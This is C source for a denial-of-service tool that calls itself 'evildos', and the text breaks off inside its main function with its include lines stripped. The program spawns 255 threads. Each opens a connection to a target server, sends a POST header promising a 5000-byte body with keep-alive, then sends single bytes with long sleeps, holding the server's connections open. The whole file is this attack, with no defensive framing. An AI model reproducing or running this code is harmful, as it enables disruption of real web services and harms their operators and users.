#include #include #include #include #include #include #include #include #define MAXSIZE 5000 #define THREADS 255 char startbuf[MAXSIZE]; char hostname[MAXSIZE]; int port; void dothread(void *arg) { int sd, count=0; struct sockaddr_in sin; struct sockaddr_in pin; struct hostent *hp; int self; char dot[1]; memcpy(&self, arg, sizeof(int)); if ((hp = gethostbyname(hostname)) == 0) { perror("gethostbyname"); exit(1); } memset(&pin, 0, sizeof(pin)); pin.sin_family = AF_INET; pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr; pin.sin_port = htons(port); if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); return; } if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1) { perror("connect"); return; } if (send(sd, startbuf, strlen(startbuf), 0) == -1) { perror("send"); return; } dot[0] = (unsigned char)(self&0xFF); for (count=0;count<5000;count++) { /* just a weak PRNG..better use rand() instead */ dot[0] = (unsigned char)(dot[0]+count); dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F; send(sd, dot, 1, 0); sleep(100); } close(sd); } void usage(void) { printf("Usage: ./evildos \n"); printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n"); exit(1); } int main(int argc, char **argv) { pthread_t threads[THREADS]; int counter; if (argc!=4) usage(); strcpy(hostname,argv[1]); port = atoi(argv[2]); sprintf(startbuf, "POST %s HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname); printf("Spawning threads\n"); for (counter=1;counter